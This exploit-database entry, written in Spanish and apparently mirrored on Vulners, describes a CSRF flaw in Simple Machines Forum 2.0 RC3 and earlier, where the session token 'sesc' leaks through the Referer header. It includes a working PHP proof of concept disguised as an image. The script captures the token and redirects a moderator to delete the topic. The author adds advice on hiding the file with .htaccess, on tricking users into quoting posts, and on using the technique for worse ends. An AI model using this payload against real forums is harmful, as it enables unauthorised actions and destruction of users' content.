`
# Exploit Title: Simple Machines Forum <= 2.0 RC3 Sesc theft (XSRF)
# Date: 09-06-2010
# Author: Xianur0
# Software Link: http://download.simplemachines.org/
# Version: <=2.0 RC3
# Tested on: 1.1.11 & 2.0 RC3
Vale, este "bug" es simple, y a decir verdad me parese bastante estupido,
pero bueno... xD...
El SMF en muchas secciones agrega sesc, no es malo, pues ayuda a controlar
los XSRF's, el problema se encuentra presisamente en eso, el mecanismo es
bueno, pero la implementacion no tanto...
el sesc se genera unico por cada session que inicia un usuario, de modo que
ese sesc se seguira usando para todo lo que haga el usuario mientras este
logeado, luego ese sesc se agrega en algunas secciones en *LA URL!*
Esto permite a un atacante mediante muy poca ingenieria social obtener el
sesc de un usuario, por ejemplo, diseñe un PoC, que simula ser una imagen,
la podemos insertar en un post real, y cuando otro usuario cite un
comentario del tema, y si esta activado el Topic Summary, se cargan las
imagenes publicadas en el post dentro de esa seccion (Topic Summary), de
modo que al cargar las imagenes se agrega un Referer (el cual, entre otras
cosas contiene el sesc del usuario). Ahora la prueba de concepto un PHP:
<?php
// By Xianur0
$imagen = "imagen real.jpg";
error_reporting(0);
function borrar($path,$topic,$sesc) {
if(!preg_match("/index.php$/",$path)) $path =
preg_replace("/\/([^\/]+)$/","/",$path);
header("Location:
".$path."?action=removetopic2;topic=".$topic.";sesc=".$sesc,TRUE,302);
}
function mostrarimagen($imagen) {
header("Content-Type: image/jpeg");
print file_get_contents($imagen);
}
if(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])
&& preg_match("/sesc=(.{32})/i",$_SERVER['HTTP_REFERER'],$matches) &&
preg_match("/topic=([^;]+)/i",$_SERVER['HTTP_REFERER'],$matchess) &&
preg_match("/^([^\?]+)/i",$_SERVER['HTTP_REFERER'],$matchesss)) {
$sesc = $matches[1];
$topic = $matchess[1];
$path = $matchesss[1];
borrar($path,$topic,$sesc);
exit;
}
mostrarimagen($imagen);
?>
ahora mediante un poco de .htaccess esta imagen quedara completamente
oculta, solo queda insertarla en un post y esperar o convencer a algun
usuario a citar algun post dentro del mensaje donde pusimos la image.
Si dicho usuario tiene permisos de borrar el post, el post sera borrado.
Desde luego mediante esta misma tecnica se pueden hacer otras cosas bastante
mas malignas que borrar un post.
De momento no hay parche, luego programo algo... mientras tanto, no citen
mensajes xD y/o desactiven el Topic Summary
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation